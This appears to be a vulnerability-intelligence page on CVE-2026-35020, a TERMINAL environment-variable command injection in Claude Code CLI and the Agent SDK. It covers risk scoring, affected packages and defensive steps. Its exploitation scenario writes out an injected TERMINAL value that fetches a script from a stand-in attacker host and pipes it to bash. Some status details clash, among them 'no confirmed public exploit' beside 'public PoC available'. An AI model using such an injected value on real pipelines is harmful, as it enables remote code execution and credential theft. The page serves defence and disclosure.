CVE-2026-35020 — HIGH (CVSS 8.4)

CISO Take

CVE-2026-35020 is an OS command injection flaw (CWE-78, CVSS 8.4) in Anthropic's Claude Code CLI and Claude Agent SDK, triggered by shell metacharacters injected into the TERMINAL environment variable that are passed unsanitized to /bin/sh via shell=true execution. The blast radius is significant — Claude Code is deployed on developer workstations, AI engineering teams, and CI/CD pipelines industry-wide, and the attack requires no privileges and no user interaction once the environment variable is set. While not yet in CISA KEV and no confirmed public exploit exists, the trivially low exploitation complexity combined with the high-value credential context of AI development environments (API keys, cloud tokens, model weights) makes this a realistic lateral movement vector in any org running automated Claude Code pipelines. Teams should update Claude Code CLI and the Agent SDK to patched versions immediately, audit CI/CD pipeline variable permissions, and sanitize the TERMINAL variable in all shared build environments.

Sources: NVD ATLAS phoenix.security vulncheck.com

What is the risk?

High severity with realistic local exploitation path. CVSS 8.4 reflects high CIA impact with no privileges required — any attacker who can influence the process environment (compromised shell configuration, malicious project dotfiles, CI/CD variable injection via PR) achieves arbitrary code execution. AI development environments are premium targets: they routinely hold cloud provider credentials, Anthropic API keys, model weights, and access to production inference infrastructure. The attack surface extends beyond typical local vulns because CI/CD systems frequently run Claude Code in automated pipelines where TERMINAL can be set through pipeline-level variables, potentially accessible to untrusted contributors in open-source or multi-team repositories.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
@anthropic-ai/sdk	npm	—	No patch
1.9K 220 dependents Pushed 9d ago 67% patched ~3d to patch Full package profile →
claude-code	npm	—	No patch
124.2K Pushed 6d ago 36% patched ~0d to patch Full package profile →

Severity & Risk

CVSS 3.1

8.4 / 10

EPSS

0.1%

chance of exploitation in 30 days

Higher than 29% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

○ Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, CISA SSVC, EPSS, trickest/cve, and Nuclei templates.

Attack Surface

AV Local

AC Low

PR None

UI None

S Unchanged

C High

I High

A High

What should I do?

6 steps

Update Claude Code CLI and Claude Agent SDK to the patched version immediately — monitor Anthropic security advisories for the fixed release.
Audit all CI/CD pipelines for externally-controllable TERMINAL variable injection points; restrict pipeline variable write permissions to maintainers only.
In CI/CD contexts, run Claude Code in isolated containers with explicit environment sanitization — unset or validate TERMINAL before execution.
Add detection rules for shell processes spawned by Claude Code with TERMINAL values containing metacharacters (semicolons, pipe characters, backticks, $() sequences).
Audit deep-link URL handlers registered by the CLI and restrict deep-link protocol handling in shared or multi-user environments.
Rotate any API keys or credentials accessible from affected development environments as a precaution.

CISA SSVC Assessment

Decision Attend

Exploitation poc

Automatable No

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

Classification

Code Execution Supply Chain Agent API AML.T0010.005 - AI Agent Tool AML.T0050 - Command and Scripting Interpreter AML.T0053 - AI Agent Tool Invocation AML.T0072 - Reverse Shell AML.T0112.000 - Local AI Agent

Compliance Impact

This CVE is relevant to:

EU AI Act

Art. 15 - Accuracy, robustness and cybersecurity

ISO 42001

A.6.1.2 - AI risk assessment

NIST AI RMF

MANAGE 2.4 - Residual risks and documented mitigations

OWASP LLM Top 10

LLM06:2025 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-35020?

CVE-2026-35020 is an OS command injection flaw (CWE-78, CVSS 8.4) in Anthropic's Claude Code CLI and Claude Agent SDK, triggered by shell metacharacters injected into the TERMINAL environment variable that are passed unsanitized to /bin/sh via shell=true execution. The blast radius is significant — Claude Code is deployed on developer workstations, AI engineering teams, and CI/CD pipelines industry-wide, and the attack requires no privileges and no user interaction once the environment variable is set. While not yet in CISA KEV and no confirmed public exploit exists, the trivially low exploitation complexity combined with the high-value credential context of AI development environments (API keys, cloud tokens, model weights) makes this a realistic lateral movement vector in any org running automated Claude Code pipelines. Teams should update Claude Code CLI and the Agent SDK to patched versions immediately, audit CI/CD pipeline variable permissions, and sanitize the TERMINAL variable in all shared build environments.

Is CVE-2026-35020 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-35020, increasing the risk of exploitation.

How to fix CVE-2026-35020?

1. Update Claude Code CLI and Claude Agent SDK to the patched version immediately — monitor Anthropic security advisories for the fixed release. 2. Audit all CI/CD pipelines for externally-controllable TERMINAL variable injection points; restrict pipeline variable write permissions to maintainers only. 3. In CI/CD contexts, run Claude Code in isolated containers with explicit environment sanitization — unset or validate TERMINAL before execution. 4. Add detection rules for shell processes spawned by Claude Code with TERMINAL values containing metacharacters (semicolons, pipe characters, backticks, $() sequences). 5. Audit deep-link URL handlers registered by the CLI and restrict deep-link protocol handling in shared or multi-user environments. 6. Rotate any API keys or credentials accessible from affected development environments as a precaution.

What systems are affected by CVE-2026-35020?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, CI/CD pipelines, developer tooling.

What is the CVSS score for CVE-2026-35020?

CVE-2026-35020 has a CVSS v3.1 base score of 8.4 (HIGH). The EPSS exploitation probability is 0.11%.

Technical Details

NVD Description

Anthropic Claude Code CLI and Claude Agent SDK contain an OS command injection vulnerability in the command lookup helper and deep-link terminal launcher that allows local attackers to execute arbitrary commands by manipulating the TERMINAL environment variable. Attackers can inject shell metacharacters into the TERMINAL variable which are interpreted by /bin/sh when the command lookup helper constructs and executes shell commands with shell=true. The vulnerability can be triggered during normal CLI execution as well as via the deep-link handler path, resulting in arbitrary command execution with the privileges of the user running the CLI.

Exploitation Scenario

An attacker targeting an AI engineering team submits a PR to a project that uses Claude Code in CI/CD automation. The PR includes a malicious .envrc or project configuration file that sets TERMINAL='xterm;curl http://attacker.com/exfil.sh|bash #'. When the automated pipeline triggers Claude Code CLI — for code enrichment, agent task execution, or PR review — the command lookup helper constructs a shell invocation with shell=true, executing the injected payload. The pipeline service account credentials, Anthropic API keys, and cloud provider tokens stored in the pipeline environment are exfiltrated. Alternatively, an attacker sends a phishing email to an AI engineer with a crafted deep-link (claude://...) that triggers the deep-link handler path, achieving the same injection on the developer's local workstation without any file-system access required.